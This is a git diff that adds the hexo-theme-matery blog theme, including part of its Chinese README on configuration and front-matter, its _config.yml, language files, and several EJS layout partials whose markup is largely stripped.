+其中,社交图标(如:`fa-github`)你可以在 [Font Awesome](https://fontawesome.com/icons) 中搜索找到。以下是常用社交图标的标识,供你参考: + +- Facebook: `fa-facebook` +- Twitter: `fa-twitter` +- Google-plus: `fa-google-plus` +- Linkedin: `fa-linkedin` +- Tumblr: `fa-tumblr` +- Medium: `fa-medium` +- Slack: `fa-slack` +- 新浪微博: `fa-weibo` +- 微信: `fa-wechat` +- QQ: `fa-qq` + +> **注意**: 本主题中使用的 `Font Awesome` 版本为 `4.7.0`。 + +### 修改打赏的二维码图片 + +在主题文件的 `source/medias/reward` 文件中,你可以替换成你的的微信和支付宝的打赏二维码图片。 + +### 配置音乐播放器(可选的) + +要支持音乐播放,就必须开启音乐的播放配置和音乐数据的文件。 + +首先,在你的博客 `source` 目录下的 `_data` 目录(没有的话就新建一个)中新建 `musics.json` 文件,文件内容如下所示: + +```json +[{ + "name": "五月雨变奏电音", + "artist": "AnimeVibe", + "url": "http://xxx.com/music1.mp3", + "cover": "http://xxx.com/music-cover1.png" +}, { + "name": "Take me hand", + "artist": "DAISHI DANCE,Cecile Corbel", + "url": "/medias/music/music2.mp3", + "cover": "/medias/music/cover2.png" +}, { + "name": "Shape of You", + "artist": "J.Fla", + "url": "http://xxx.com/music3.mp3", + "cover": "http://xxx.com/music-cover3.png" +}] +``` + +> **注**:以上 JSON 中的属性:`name`、`artist`、`url`、`cover` 分别表示音乐的名称、作者、音乐文件地址、音乐封面。 + +然后,在主题的 `_config.yml` 配置文件中激活配置即可: + +```yaml +# 是否在首页显示音乐. +music: + enable: true + showTitle: false + title: 听听音乐 + fixed: false # 是否开启吸底模式 + autoplay: false # 是否自动播放 + theme: '#42b983' + loop: 'all' # 音频循环播放, 可选值: 'all', 'one', 'none' + order: 'list' # 音频循环顺序, 可选值: 'list', 'random' + preload: 'auto' # 预加载,可选值: 'none', 'metadata', 'auto' + volume: 0.7 # 默认音量,请注意播放器会记忆用户设置,用户手动设置音量后默认音量即失效 + listFolded: false # 列表默认折叠 + listMaxHeight: # 列表最大高度 +``` + +## 文章 Front-matter 介绍 + +### Front-matter 选项详解 + +`Front-matter` 选项中的所有内容均为**非必填**的。但我仍然建议至少填写 `title` 和 `date` 的值。 + +| 配置选项 | 默认值 | 描述 | +| ---------- | --------------------------- | ------------------------------------------------------------ | +| title | `Markdown` 的文件标题 | 文章标题,强烈建议填写此选项 | +| date | 文件创建时的日期时间 | 发布时间,强烈建议填写此选项,且最好保证全局唯一 | +| author | 根 `_config.yml` 中的 `author` | 文章作者 | +| img | `featureImages` 中的某个值 | 文章特征图,推荐使用图床(腾讯云、七牛云、又拍云等)来做图片的路径.如: `http://xxx.com/xxx.jpg` | +| top | `true` | 推荐文章(文章是否置顶),如果 `top` 值为 `true`,则会作为首页推荐文章 | +| cover | `false` | `v1.0.2`版本新增,表示该文章是否需要加入到首页轮播封面中 | +| coverImg | 无 | `v1.0.2`版本新增,表示该文章在首页轮播封面需要显示的图片路径,如果没有,则默认使用文章的特色图片 | +| password | 无 | 文章阅读密码,如果要对文章设置阅读验证密码的话,就可以设置 `password` 的值,该值必须是用 `SHA256` 加密后的密码,防止被他人识破。前提是在主题的 `config.yml` 中激活了 `verifyPassword` 选项 | +| toc | `true` | 是否开启 TOC,可以针对某篇文章单独关闭 TOC 的功能。前提是在主题的 `config.yml` 中激活了 `toc` 选项 | +| mathjax | `false` | 是否开启数学公式支持 ,本文章是否开启 `mathjax`,且需要在主题的 `_config.yml` 文件中也需要开启才行 | +| summary | 无 | 文章摘要,自定义的文章摘要内容,如果这个属性有值,文章卡片摘要就显示这段文字,否则程序会自动截取文章的部分内容作为摘要 | +| categories | 无 | 文章分类,本主题的分类表示宏观上大的分类,只建议一篇文章一个分类 | +| tags | 无 | 文章标签,一篇文章可以多个标签 | + +> **注意**: +> 1. 如果 `img` 属性不填写的话,文章特色图会根据文章标题的 `hashcode` 的值取余,然后选取主题中对应的特色图片,从而达到让所有文章都的特色图**各有特色**。 +> 2. `date` 的值尽量保证每篇文章是唯一的,因为本主题中 `Gitalk` 和 `Gitment` 识别 `id` 是通过 `date` 的值来作为唯一标识的。 +> 3. 如果要对文章设置阅读验证密码的功能,不仅要在 Front-matter 中设置采用了 SHA256 加密的 password 的值,还需要在主题的 `_config.yml` 中激活了配置。有些在线的 SHA256 加密的地址,可供你使用:[开源中国在线工具](http://tool.oschina.net/encrypt?type=2)、[chahuo](http://encode.chahuo.com/)、[站长工具](http://tool.chinaz.com/tools/hash.aspx)。 + +以下为文章的 `Front-matter` 示例。 + +### 最简示例 + +```yaml +--- +title: typora-vue-theme主题介绍 +date: 2018-09-07 09:25:00 +--- +``` + +### 最全示例 + +```yaml +--- +title: typora-vue-theme主题介绍 +date: 2018-09-07 09:25:00 +author: 赵奇 +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +password: 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92 +toc: false +mathjax: false +summary: 这是你自定义的文章摘要内容,如果这个属性有值,文章卡片摘要就显示这段文字,否则程序会自动截取文章的部分内容作为摘要 +categories: Markdown +tags: + - Typora + - Markdown +--- +``` + +## 效果截图 + +![首页](http://static.blinkfox.com/matery-20181202-1.png) + +![首页推荐文章](http://static.blinkfox.com/matery-20181202-2.png) + +![首页文章列表](http://static.blinkfox.com/matery-20181202-3.png) + +![首页文章列表](http://static.blinkfox.com/matery-20181202-7.png) + +![首页文章列表](http://static.blinkfox.com/matery-20181202-8.png) + +## 自定制修改 + +在本主题的 `_config.yml` 中可以修改部分自定义信息,有以下几个部分: + +- 菜单 +- 我的梦想 +- 首页的音乐播放器和视频播放器配置 +- 是否显示推荐文章名称和按钮配置 +- `favicon` 和 `Logo` +- 个人信息 +- TOC 目录 +- 文章打赏信息 +- 复制文章内容时追加版权信息 +- MathJax +- 文章字数统计、阅读时长 +- 点击页面的'爱心'效果 +- 我的项目 +- 我的技能 +- 我的相册 +- `Gitalk`、`Gitment`、`Valine` 和 `disqus` 评论配置 +- [不蒜子统计](http://busuanzi.ibruce.info/)和谷歌分析(`Google Analytics`) +- 默认特色图的集合。当文章没有设置特色图时,本主题会根据文章标题的 `hashcode` 值取余,来选择展示对应的特色图 + +**我认为个人博客应该都有自己的风格和特色**。如果本主题中的诸多功能和主题色彩你不满意,可以在主题中自定义修改,很多更自由的功能和细节点的修改难以在主题的 `_config.yml` 中完成,需要修改源代码才来完成。以下列出了可能对你有用的地方: + +### 修改主题颜色 + +在主题文件的 `/source/css/matery.css` 文件中,搜索 `.bg-color` 来修改背景颜色: + +```css +/* 整体背景颜色,包括导航、移动端的导航、页尾、标签页等的背景颜色. */ +.bg-color { + background-image: linear-gradient(to right, #4cbf30 0%, #0f9d58 100%); +} + +@-webkit-keyframes rainbow { + /* 动态切换背景颜色. */ +} + +@keyframes rainbow { + /* 动态切换背景颜色. */ +} +``` + +### 修改 banner 图和文章特色图 + +你可以直接在 `/source/medias/banner` 文件夹中更换你喜欢的 `banner` 图片,主题代码中是每天动态切换一张,只需 `7` 张即可。如果你会 `JavaScript` 代码,可以修改成你自己喜欢切换逻辑,如:随机切换等,`banner` 切换的代码位置在 `/layout/_partial/bg-cover-content.ejs` 文件的 `` 代码中: + +```javascript +$('.bg-cover').css('background-image', 'url(/medias/banner/' + new Date().getDay() + '.jpg)'); +``` + +在 `/source/medias/featureimages` 文件夹中默认有 24 张特色图片,你可以再增加或者减少,并需要在 `_config.yml` 做同步修改。 + +## 版本记录 + +- v1.0.3 + - 新增了`TOC`展开、收缩的按钮和相关配置,默认显示此按钮; +- v1.0.2 + - 升级了 [Materialize](https://materializecss.com/) 框架版本为`1.0.0`,重构和修改了升级过程中的部分文件或问题; + - 新增了首页封面的全屏轮播特效,可以将更重要的文章设置到首页轮播中; + - 修复首页第一个按钮是中文的问题 + - 修复了 iPhone 上点击搜索输入获取焦点的问题; + - 修复了 iPhone 上输入框获取焦点后页面放大的问题; + - 修复一些文章或 UI 显示问题; +- v1.0.1 + - 调整 `css`、`js` 的文件请求路径在主题的`_config.yml`中配置,便于你更快捷的配置自己的 CDN; + - 新增代码是否折行为可配置,默认为折行; + - 默认激活 `TOC` 功能,并新增为某篇文章关闭 `TOC` 的 `Front-matter` 配置选项; + - 修复文章滚动时,高亮的目录选项不准确的问题; + - `IOS`下移除搜索框自动获得焦点属性,防止自动获得焦点后导致视图上移; +- v1.0.0 + - 新增了所有基础功能; diff --git a/themes/hexo-theme-matery/_config.yml b/themes/hexo-theme-matery/_config.yml new file mode 100644 index 0000000..ecae928 --- /dev/null +++ b/themes/hexo-theme-matery/_config.yml @@ -0,0 +1,373 @@ +# main menu navigation url and icon +# 配置菜单导航的名称、路径和图标icon. +menu: + Index: + url: / + icon: fa-home + Tags: + url: /tags + icon: fa-tags + Categories: + url: /categories + icon: fa-bookmark + Archives: + url: /archives + icon: fa-archive + About: + url: /about + icon: fa-user-circle-o + Friends: + url: /friends + icon: fa-address-book + +# Index cover carousel configuration. +# 首页封面轮播图的相关配置. +cover: + showPrevNext: true # 是否显示左右切换按钮. Whether to display the left and right toggle buttons. + showIndicators: true # 是否显示指示器. # Whether to display the indicators + autoLoop: true # 是否自动轮播. Whether it is automatically rotated. + duration: 120 # 切换延迟时间. Switching delay time. + intervalTime: 5000 # 自动切换下一张的间隔时间. Automatically switch the interval of the next one. + +# index page dream text, +# 配置首页显示"梦想"的语句. +dream: + enable: true + showTitle: true + title: 我的梦想 + text: 不是每个人都应该像我这样去建造一座水晶大教堂,但是每个人都应该拥有自己的梦想,设计自己的梦想,追求自己的梦想,实现自己的梦想。梦想是生命的灵魂,是心灵的灯塔,是引导人走向成功的信仰。有了崇高的梦想,只要矢志不渝地追求,梦想就会成为现实,奋斗就会变成壮举,生命就会创造奇迹。——罗伯·舒乐 + +# Whether to display the musics. +# 是否在首页显示音乐. +# music: +# enable: false +# showTitle: true +# title: 听听音乐 +# fixed: false # 开启吸底模式 +# autoplay: false # 是否自动播放 +# theme: '#42b983' +# loop: 'all' # 音频循环播放, 可选值: 'all', 'one', 'none' +# order: 'list' # 音频循环顺序, 可选值: 'list', 'random' +# preload: 'auto' # 预加载,可选值: 'none', 'metadata', 'auto' +# volume: 0.7 # 默认音量,请注意播放器会记忆用户设置,用户手动设置音量后默认音量即失效 +# listFolded: false # 列表默认折叠 +# listMaxHeight: #列表最大高度 + +#默认关闭 配置如上被注释 +music: + enable: true + showTitle: false + title: 听听音乐 + fixed: false # 是否开启吸底模式 + autoplay: false # 是否自动播放 + theme: '#42b983' + loop: 'all' # 音频循环播放, 可选值: 'all', 'one', 'none' + order: 'list' # 音频循环顺序, 可选值: 'list', 'random' + preload: 'auto' # 预加载,可选值: 'none', 'metadata', 'auto' + volume: 0.7 # 默认音量,请注意播放器会记忆用户设置,用户手动设置音量后默认音量即失效 + listFolded: false # 列表默认折叠 + listMaxHeight: # 列表最大高度 + + +# Whether to display the videos. +# 是否在首页显示视频. +video: + enable: false + showTitle: true + title: 精彩视频 + url: # 必填 + pic: + thumbnails: + height: # 如:400 + autoplay: false # 是否自动播放 + theme: '#42b983' + loop: false # 是否循环播放 + preload: 'auto' # 预加载,可选值: 'none', 'metadata', 'auto' + volume: 0.7 + +# Whether to display the title of the recommended posts +# 是否显示推荐文章的标题 +recommend: + showTitle: true + +# Configure website favicon and LOGO +# 配置网站favicon和网站LOGO +favicon: /favicon.png +logo: /medias/logo.png + +# The configuration of the second button in the home banner, +# including the display name of the button, the font awesome icon, and the hyperlink to the button. +# 首页 banner 中的第二个按钮的配置,包括按钮的显示名称、font awesome图标和按钮的超链接. +indexbtn: + enable: true + name: Github + icon: fa-github-alt + url: https://github.com/Coderzgh + +# The configurations of the second line of home banner +# icon/button will not show up if you leave the corresponding socialLink empty +# 首页 banner 中的第二行个人信息配置,留空即不启用 +socialLink: + qq: + github: + email: coderzgh@gmail.com + +# Whether to activate the Post TOC, and Configure which title types are supported by TOC support. +# You can add `toc: false` to the Front-matter of a post to turn off the TOC. +# 是否激活文章 TOC 功能,并配置TOC支持选中哪些标题类型,这是全局配置。 +# 可以在某篇文章的 Front-matter 中再加上`toc: false`,使该篇文章关闭TOC目录功能 +toc: + enable: true + heading: h2, h3, h4 + showToggleBtn: true # 是否显示切换TOC目录展开收缩的按钮 + +# Whether the code is broken. +# 代码是否折行 +code: + break: true + +# 是否激活文章末尾的打赏功能,默认激活(你替换为的你自己的微信、支付宝二维码图片、或者使用网络图片也可以). +reward: + enable: true + title: 你的赏识是我前进的动力 + wechat: /medias/reward/wechat.png + alipay: /medias/reward/alipay.jpg + +# Whether to activate the copyright information of the blog and author when copying the post content. +# minCharNumber: Approve copyright information by copying at least how many characters. +# 是否激活复制文章时追加博客和作者的版权信息. +copyright: + enable: false + minCharNumber: 120 # 至少复制多少个字符就追加版权信息. + description: 本文章著作权归作者所有,任何形式的转载都请注明出处。 + +# Whether to activate the mathjax, this is a global configuration, but the post still does not open the mathjax rendering. +# Considering that the mathjax loading is time consuming, +# you also need to add `mathjax: true` to the Front-matter of the post that needs to be rendered. +# 是否激活mathjax数学公式,这是全局配置,但文章仍然不会都开启mathjax渲染, +# 考虑到mathjax加载比较耗时,你还需要在需要渲染的文章的Front-matter中再加上`mathjax: true`才行. +mathjax: + enable: false + cdn: https://cdn.bootcss.com/mathjax/2.7.5/MathJax.js?config=TeX-AMS-MML_HTMLorMML + +# Post word count, reading duration, site total word count. +# Before you activate, please confirm that you have installed the hexo-wordcount plugin, +# install the plugin command: `npm i --save hexo-wordcount`. +# 文章字数统计、阅读时长、总字数统计 +# 激活前请确认你已经安装了 hexo-wordcount 插件,安装命令: `npm i --save hexo-wordcount` +wordCount: + enable: false + postWordCount: true + min2read: true + totalCount: true + +# Whether to activate the 'love' effect of clicking on the page. +# 是否激活点击页面的'爱心'效果,默认激活. +clicklove: + enable: true + +# profile in about page, including avatars, career, and personal introductions. +# 在”关于”页面中配置个人信息,包括头像、职业和个人介绍. +profile: + avatar: /medias/avatar.jpg + career: Software Engineer + introduction: If you wish to succeed, you should use persistence as your good friend, experience as your reference, prudence as your brother and hope as your sentry. + +# config my projects informations in about page. +# If you don't want to display this `My Projects` content, you can deactivate or delete this configuration. +# 在“关于”页面配置"我的项目"信息,如果你不需要这些信息则可以将其设置为不激活或者将其删除. +# myProjects: +# enable: true +# data: +# hexo-theme-matery: +# icon: fa-meetup +# iconBackground: 'linear-gradient(to bottom right, #66BB6A 0%, #81C784 100%)' +# url: http://github.com/blinkfox/hexo-theme-matery +# desc: This is a Hexo blog theme with 'Material Design' and responsive design. +# zealt: +# icon: fa-database +# iconBackground: 'linear-gradient(to bottom right, #F06292 0%, #EF5350 100%)' +# url: https://github.com/blinkfox/zealot +# desc: 一个轻量级的SQL和参数动态生成工具库 +# typora-vue-theme: +# icon: fa-file-text-o +# iconBackground: 'linear-gradient(to bottom right, #29B6F6 0%, #1E88E5 100%)' +# url: https://github.com/blinkfox/typora-vue-theme +# desc: This is a typora theme inspired by Vue document style. + +# config my skills informations in about page. +# If you don't want to display this `My Skills` content, you can deactivate or delete this configuration. +# 在“关于”页面配置"我的技能"信息,如果你不需要这些信息则可以将其设置为不激活或者将其删除. +mySkills: + enable: true + data: + Java: + background: 'linear-gradient(to right, #FF0066 0%, #FF00CC 100%)' + percent: 85% + JavaScript: + background: 'linear-gradient(to right, #9900FF 0%, #CC66FF 100%)' + percent: 70% + 渗透: + background: 'linear-gradient(to right, #2196F3 0%, #42A5F5 100%)' + percent: 70% + CSS: + background: 'linear-gradient(to right, #00BCD4 0%, #80DEEA 100%)' + percent: 70% + SQL: + background: 'linear-gradient(to right, #4CAF50 0%, #81C784 100%)' + percent: 90% + Network: + background: 'linear-gradient(to right, #FFEB3B 0%, #FFF176 100%)' + percent: 75% + +# config gallery of my photos in about page. +# If you don't want to display this `Gallery` content, you can deactivate or delete this configuration. +# 在“关于”页面配置"我的相册"图片,如果你不需要这些信息则可以将其设置为不激活或者将其删除. +myGallery: + enable: true + data: + - /medias/featureimages/0.jpg + - /medias/featureimages/1.jpg + - /medias/featureimages/2.jpg + +# Whether to display post-calender in the `archive` page +# 设置在归档页面中是否显示'文章日历'控件 +postCalendar: true + +# the Gitalk config,default disabled +# Gitalk 评论模块的配置,默认为不激活 +gitalk: + enable: false + owner: + repo: + oauth: + clientId: + clientSecret: + admin: + +# the Gitment config,default disabled +# Gitment 评论模块的配置,默认为不激活 +gitment: + enable: false + owner: + repo: + oauth: + clientId: + clientSecret: + +# disqus config, default disabled +# Disqus评论模块的配置,默认为不激活 +disqus: + enable: false + shortname: + +# Livere comment configuration, the default is not activated +# Livere 来必力评论模块的配置,默认为不激活 +livere: + enable: false + uid: + +# The configuration of the Valine comment module is not activated by default. +# To use it, activate the configuration item and set appId and appKey. +# Valine 评论模块的配置,默认为不激活,如要使用,就请激活该配置项,并设置 appId 和 appKey. +valine: + enable: false + appId: + appKey: + notify: false + verify: false + visitor: true + avatar: 'mm' # Gravatar style : mm/identicon/monsterid/wavatar/retro/hide + pageSize: 10 + placeholder: 'just go go' # Comment Box placeholder + +# Whether to display fork me on github icon and link, default true, You can change it to your repo address +# 配置是否在 header 中显示 fork me on github 的图标,默认为true,你可以修改为你的仓库地址. +githubLink: + enable: true + url: https://github.com/Coderzgh + title: Fork Me + +# The password verification feature of read post. To use this feature, +# activate the configuration item and write the 'password' key and Cipher in the post's Front-matter. +# Note: In order to ensure that the original password will not be leaked to the web page, +# the password of the article must be encrypted by 'SHA256' so that it will not be cracked. +# 阅读文章的密码验证功能,如要使用此功能请激活该配置项,并在对应文章的Front-matter中写上'password'的键和加密后的密文即可. +# 请注意:为了保证密码原文不会被泄露到网页中,文章的密码必须是通过'SHA256'加密的,这样就不会被破解. +verifyPassword: + enable: false + promptMessage: 请输入访问本文章的密码 + errorMessage: 密码错误,将返回主页! + +# busuanzi(http://busuanzi.ibruce.info/) website statistics +# 不蒜子(http://busuanzi.ibruce.info/) 网站统计 +busuanziStatistics: + enable: true + totalTraffic: true # 总访问量 + totalNumberOfvisitors: true # 总人次 + +# Add google analytics configuration +# 添加 Google Analytics 配置 +googleAnalytics: + enable: false + id: + +# The used front-end library can be replaced with the corresponding CDN address as needed, +# If the specific version is not specified below, you can use the latest version. +# 使用到的前端库,可按需替换成对应的CDN地址,如果下面未指定具体的版本号,使用最新的版本即可. +libs: + css: + fontAwesome: /libs/awesome/css/font-awesome.min.css # V4.7.0 + materialize: /libs/materialize/materialize.min.css # 1.0.0 + aos: /libs/aos/aos.css + animate: /libs/animate/animate.min.css # V3.5.1 + lightgallery: /libs/lightGallery/css/lightgallery.min.css # V1.6.11 + aplayer: /libs/aplayer/APlayer.min.css + dplayer: /libs/dplayer/DPlayer.min.css + gitalk: /libs/gitalk/gitalk.css + jqcloud: /libs/jqcloud/jqcloud.css + tocbot: /libs/tocbot/tocbot.css + js: + jquery: /libs/jquery/jquery-2.2.0.min.js + materialize: /libs/materialize/materialize.min.js # 1.0.0 + masonry: /libs/masonry/masonry.pkgd.min.js # v4.0.0 + aos: /libs/aos/aos.js + scrollProgress: /libs/scrollprogress/scrollProgress.min.js + lightgallery: /libs/lightGallery/js/lightgallery-all.min.js # V1.6.11 + clicklove: /libs/others/clicklove.js + busuanzi: /libs/others/busuanzi.pure.mini.js + aplayer: /libs/aplayer/APlayer.min.js + dplayer: /libs/dplayer/DPlayer.min.js + crypto: /libs/cryptojs/crypto-js.min.js + echarts: /libs/echarts/echarts.min.js + gitalk: /libs/gitalk/gitalk.min.js + jqcloud: /libs/jqcloud/jqcloud-1.0.4.min.js + tocbot: /libs/tocbot/tocbot.min.js + +# The post featured images that needs to be displayed when there is no image. +# 无文章特色图片时需要显示的文章特色图片. +featureImages: +- /medias/featureimages/0.jpg +- /medias/featureimages/1.jpg +- /medias/featureimages/2.jpg +- /medias/featureimages/3.jpg +- /medias/featureimages/4.jpg +- /medias/featureimages/5.jpg +- /medias/featureimages/6.jpg +- /medias/featureimages/7.jpg +- /medias/featureimages/8.jpg +- /medias/featureimages/9.jpg +- /medias/featureimages/10.jpg +- /medias/featureimages/11.jpg +- /medias/featureimages/12.jpg +- /medias/featureimages/13.jpg +- /medias/featureimages/14.jpg +- /medias/featureimages/15.jpg +- /medias/featureimages/16.jpg +- /medias/featureimages/17.jpg +- /medias/featureimages/18.jpg +- /medias/featureimages/19.jpg +- /medias/featureimages/20.jpg +- /medias/featureimages/21.jpg +- /medias/featureimages/22.jpg +- /medias/featureimages/23.jpg diff --git a/themes/hexo-theme-matery/languages/default.yml b/themes/hexo-theme-matery/languages/default.yml new file mode 100644 index 0000000..b2c0716 --- /dev/null +++ b/themes/hexo-theme-matery/languages/default.yml @@ -0,0 +1,44 @@ +posts: Posts +category: Category +categories: Categories +tag: Tag +tags: Tags +archives: Archives +about: About +friends: Friends +startRead: Start +recommendedPosts: Recommended Posts +publishDate: Publish Date +readCount: Read Count +wordCount: Word Count +readTimes: Read Times +Minutes: Min +readMore: Read more +toc: TOC +reprint: Reprint please specify +curr: Current +prev: Previous +next: Next +search: Search +searchTip: Please enter a search keyword +postTagTitle: Post Tags +postCategoryTitle: Post Categories +categoryRadarTitle: Post Categories Radar Chart +categoryNumber: Number of Categories +categoryEmptyTip: Your posts has no categories information yet. +postCharts: Post Charts +postPublishChart: Post Publish Chart +categoriesChart: Categories Chart +top10TagsChart: TOP10 Tags Chart +postsNumberName: Number of posts +maximum: Maximum +minimum: Minimum +average: Average +myProjects: My Projects +mySkills: My Skills +otherSkills: Other Skills +gallery: Gallery +from: From +author: Author +link: Link +notag: No tag \ No newline at end of file diff --git a/themes/hexo-theme-matery/languages/zh-CN.yml b/themes/hexo-theme-matery/languages/zh-CN.yml new file mode 100644 index 0000000..dc32602 --- /dev/null +++ b/themes/hexo-theme-matery/languages/zh-CN.yml @@ -0,0 +1,44 @@ +posts: 文章 +category: 分类 +categories: 分类 +tag: 标签 +tags: 标签 +archives: 归档 +about: 关于 +friends: 友情链接 +startRead: 开始阅读 +recommendedPosts: 推荐文章 +publishDate: 发布日期 +readCount: 阅读次数 +wordCount: 文章字数 +readTimes: 阅读时长 +Minutes: 分 +readMore: 阅读更多 +toc: 目录 +reprint: 转载请注明 +curr: 本篇 +prev: 上一篇 +next: 下一篇 +search: 搜索 +searchTip: 请输入搜索的关键字 +postTagTitle: 文章标签 +postCategoryTitle: 文章分类 +categoryRadarTitle: 文章分类雷达图 +categoryNumber: 文章分类数量 +categoryEmptyTip: 你目前还没有对文章进行分类. +postCharts: 文章统计图 +postPublishChart: 文章发布统计图 +categoriesChart: 文章分类统计图 +top10TagsChart: TOP10 标签统计图 +postsNumberName: 文章篇数 +maximum: 最大值 +minimum: 最小值 +average: 平均值 +myProjects: 我的项目 +mySkills: 我的技能 +otherSkills: 其他技能 +gallery: 相册 +from: 来源 +author: 作者 +link: 链接 +notag: 无标签 \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/back-top.ejs b/themes/hexo-theme-matery/layout/_partial/back-top.ejs new file mode 100644 index 0000000..bc57f65 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/back-top.ejs @@ -0,0 +1,6 @@ + + diff --git a/themes/hexo-theme-matery/layout/_partial/bg-cover-content.ejs b/themes/hexo-theme-matery/layout/_partial/bg-cover-content.ejs new file mode 100644 index 0000000..198dd73 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/bg-cover-content.ejs @@ -0,0 +1,25 @@ +
    +
    +
    +
    + <% if (config.subtitle && config.subtitle.length > 0) { %> + <%= config.subtitle %> + <% } else { %> + subtitle + <% } %> +
    + +
    + <% if (config.description && config.description.length > 0) { %> + <%= config.description %> + <% } else { %> + This is your root _config.yml 'description' value. + <% } %> +
    +
    +
    +
    + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/bg-cover.ejs b/themes/hexo-theme-matery/layout/_partial/bg-cover.ejs new file mode 100644 index 0000000..d9eda68 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/bg-cover.ejs @@ -0,0 +1,5 @@ +
    +
    + <%- partial('_partial/bg-cover-content') %> +
    +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/disqus.ejs b/themes/hexo-theme-matery/layout/_partial/disqus.ejs new file mode 100644 index 0000000..5929491 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/disqus.ejs @@ -0,0 +1,24 @@ +
    +
    + +
    +
    + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/footer.ejs b/themes/hexo-theme-matery/layout/_partial/footer.ejs new file mode 100644 index 0000000..bf88664 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/footer.ejs @@ -0,0 +1,34 @@ +
    +
    +
    + 本站由©Blinkfox基于 + Hexo 的 + hexo-theme-matery主题搭建. + + <% if (theme.wordCount.enable && theme.wordCount.totalCount) { %> +   站点总字数:  + <%= totalcount(site) %> + <% } %> + + <% let socialClass = '' %> + <% if (theme.busuanziStatistics && theme.busuanziStatistics.enable) { %> + <% socialClass = 'social-statis' %>
    + <% if (theme.busuanziStatistics && theme.busuanziStatistics.totalTraffic) { %> + + + 本站总访问量 + + <% } %> + <% if (theme.busuanziStatistics && theme.busuanziStatistics.totalNumberOfvisitors) { %> + + + 次, 访客数 人. + + <% } %> + <% } %> +
    + +
    +
    + +
    diff --git a/themes/hexo-theme-matery/layout/_partial/gitalk.ejs b/themes/hexo-theme-matery/layout/_partial/gitalk.ejs new file mode 100644 index 0000000..4f035d4 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/gitalk.ejs @@ -0,0 +1,21 @@ + + + +
    +
    +
    + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/github-link.ejs b/themes/hexo-theme-matery/layout/_partial/github-link.ejs new file mode 100644 index 0000000..424dbb5 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/github-link.ejs @@ -0,0 +1,55 @@ + + + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/gitment.ejs b/themes/hexo-theme-matery/layout/_partial/gitment.ejs new file mode 100644 index 0000000..a722c35 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/gitment.ejs @@ -0,0 +1,21 @@ + + + +
    +
    +
    + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/google-analytics.ejs b/themes/hexo-theme-matery/layout/_partial/google-analytics.ejs new file mode 100644 index 0000000..929aa44 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/google-analytics.ejs @@ -0,0 +1,13 @@ + +<% if (theme.googleAnalytics.enable) { %> + + +<% } %> diff --git a/themes/hexo-theme-matery/layout/_partial/head.ejs b/themes/hexo-theme-matery/layout/_partial/head.ejs new file mode 100644 index 0000000..efbd5e5 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/head.ejs @@ -0,0 +1,90 @@ +<% + var title = page.title; + + // tags, categories, about pages title + if (title == 'tags') { + title = __('tags'); + } else if (title == 'categories') { + title = __('categories'); + } else if (title == 'about') { + title = __('about'); + } + + // archives, category, tag pages title + if (is_archive()) { + title = __('archives'); + if (is_month()) { + title += ': ' + page.year + '/' + page.month; + } else if (is_year()) { + title += ': ' + page.year; + } + } else if (is_category()) { + title = __('category') + ': ' + page.category; + } else if (is_tag()) { + title = __('tag') + ': ' + page.tag; + } + + // final page title. + var pageTitle = title ? title + ' | ' + config.title : config.title; + + // keywords. + var keyWords = config.keywords ? config.keywords : config.title; + keyWords = title ? title + ', ' + keyWords : keyWords; + + // description. + var description = null; + if (page.hasOwnProperty('__post') && page.__post) { + description = strip_html(page.content).substring(0, 120); + } + description = description ? description : pageTitle; + + let iconType = 'image/png' + let faviconExt = theme.favicon.substr(theme.favicon.lastIndexOf('.') + 1, theme.favicon.length) + if (faviconExt === 'png') { + iconType = 'image/png' + } else if (faviconExt === 'svg') { + iconType = 'image/svg+xml' + } else if (faviconExt === 'gif') { + iconType = 'image/gif' + } else if (faviconExt === 'jpeg') { + iconType = 'image/jpeg' + } else if (faviconExt === 'jpg') { + iconType = 'image/jpeg' + } else if (faviconExt === 'ico') { + iconType = 'image/x-icon, image/vnd.microsoft.icon' + } else { + // more definitions + } +%> + + + + + + + + + + + + + <%= pageTitle %> + + + + + + + + + + + + + diff --git a/themes/hexo-theme-matery/layout/_partial/header.ejs b/themes/hexo-theme-matery/layout/_partial/header.ejs new file mode 100644 index 0000000..d57bba1 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/header.ejs @@ -0,0 +1,20 @@ + diff --git a/themes/hexo-theme-matery/layout/_partial/index-cover.ejs b/themes/hexo-theme-matery/layout/_partial/index-cover.ejs new file mode 100644 index 0000000..ef609f0 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/index-cover.ejs @@ -0,0 +1,176 @@ + + +<% +// get all cover posts. +var coverPosts = []; +site.posts.forEach(function (post) { + if (post.cover) { + coverPosts.push(post); + } +}); +var coverPostsCount = coverPosts.length; +%> + + + + diff --git a/themes/hexo-theme-matery/layout/_partial/livere.ejs b/themes/hexo-theme-matery/layout/_partial/livere.ejs new file mode 100644 index 0000000..734f63a --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/livere.ejs @@ -0,0 +1,21 @@ +
    + +
    + + +
    + +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/mobile-nav.ejs b/themes/hexo-theme-matery/layout/_partial/mobile-nav.ejs new file mode 100644 index 0000000..e56127d --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/mobile-nav.ejs @@ -0,0 +1,49 @@ +
    + +
    + <% if (theme.logo !== undefined && theme.logo.length > 0) { %> + + <% } %> +
    <%- config.title %>
    +
